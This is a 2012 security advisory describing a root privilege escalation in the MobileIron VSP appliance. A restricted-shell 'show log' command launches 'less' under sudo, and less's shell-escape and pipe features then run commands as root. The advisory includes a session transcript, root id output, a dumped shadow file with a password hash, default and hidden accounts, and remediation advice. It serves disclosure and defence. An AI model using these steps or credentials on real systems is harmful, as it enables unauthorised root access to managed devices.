MobileIron Virtual Smartphone Platform Privilege Escalation Exploit 0day
========================================================================
The MobileIron Virtual Smartphone Platform is the first solution to combine data-driven
smartphone and tablet management with real-time wireless cost control. The MDM solution
provides an appliance which can be configured through a restrictive web and management
shell. A command injection vulnerability within the telnet/SSH shell allows for elevation
of privileges to "root" from the low privileged user as well as escaping the restrictive shell.
 
* Description
The MobileIron VSP appliance provides a restricted "clish" java application that can be used
for performing a minimal amount of configuration and requires an "enable" password for elevated
privileges. Probing under the hood of this shell indicates that certain commands are run in
the native linux OS with sudo, by using the "show processes" command you can see the commands being used.
 
miadmin  13353  0.0  0.0  63856  1388 pts/1    S+   14:45   0:00 /bin/bash /mi/bin/cli-view-log --log mi.log
root     13399  0.0  0.0 104096  2144 pts/1    S+   14:45   0:00 /usr/bin/sudo /usr/bin/less mylnk
root     13400  0.0  0.0  63600  1024 pts/1    S+   14:45   0:00 /usr/bin/less mylnk
 
The above command can be triggered from the miadmin user with the "show log" functoinality,
as "/usr/bin/less" is then called with root privileges it is possible to quickly elevate
privileges to root using !sh as seen in the example here:
 
root@bt:~/MobileIron# ssh -l miadmin 10.x.x.x
miadmin@10.x.x.x's password:
Last login: Tue Sep 18 14:33:19 2012 from 10.x.x.x
************************************************************
*                    MobileIron VSP CLI                    *
*                                                          *
*                                                          *
************************************************************
Welcome miadmin it is Tue Sep 18 14:38:46 UTC 2012
vsp@hostname.victim> show log mi.log
--log 'mi.log' --
************************************************************
*                    MobileIron VSP CLI                    *
*                                                          *
*                                                          *
************************************************************
Welcome root it is Tue Sep 18 14:38:58 UTC 2012
vsp@hostname.victim>
 
As less supports the ability of executing arbitrary commands and piping input it is trivial to
gain arbitrary command execution by using pipe with the current file "|m." which will change the
less prompt to "!" indicating which program to pipe to and then typing /bin/sh -c "CMD YOU WANT"
to be able to execute arbitrary commands with root privileges. You will recieve the command
output.
 
--log 'mi.log' --
Linux hostname.victim 2.6.18-308.1.1.el5 #1 SMP Wed Mar 7 04:16:51 EST 2012 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
vsp@hostname.victim>
 
By reviewing the host we can determine that mobileiron also provide a default root username with
the password of "admin" in a disabled state (damn...) and a hidden user of "misupport".
 
root:!!$1$3FrxHucD$JL4zVWemZeZJY9LY3PruJ1:15544:0:99999:7:::
bin:*:15544:0:99999:7:::
daemon:*:15544:0:99999:7:::
adm:*:15544:0:99999:7:::
lp:*:15544:0:99999:7:::
sync:*:15544:0:99999:7:::
shutdown:*:15544:0:99999:7:::
halt:*:15544:0:99999:7:::
mail:*:15544:0:99999:7:::
news:*:15544:0:99999:7:::
uucp:*:15544:0:99999:7:::
operator:*:15544:0:99999:7:::
games:*:15544:0:99999:7:::
gopher:*:15544:0:99999:7:::
ftp:*:15544:0:99999:7:::
nobody:*:15544:0:99999:7:::
distcache:!!:15544:0:99999:7:::
vcsa:!!:15544:0:99999:7:::
pcap:!!:15544:0:99999:7:::
ntp:!!:15544:0:99999:7:::
dbus:!!:15544:0:99999:7:::
mailnull:!!:15544:0:99999:7:::
smmsp:!!:15544:0:99999:7:::
apache:!!:15544:0:99999:7:::
sshd:!!:15544:0:99999:7:::
haldaemon:!!:15544:0:99999:7:::
mysql:!!:15544::::::
postgres:!!:15544::::::
tomcat:!!:15544::::::
clamav:!!:15544:0:99999:7:::
misupport:!!:15544:0:99999:7:::
miadmin:CENSORED:15544:0:99999:7:::
 
Remedial Action
Disable the use of telnet and SSH on VSP appliances and ensure that strong passwords are set for
the miadmin account or be assured that all shell users of VSP appliance can obtain full root
privileges until a fix is made available. This issue was reported to MobileIron on September 19th
2012 and given a Moderate risk rating. An expected firmware update has been advised that it will
be available within 3 months of the reporting date.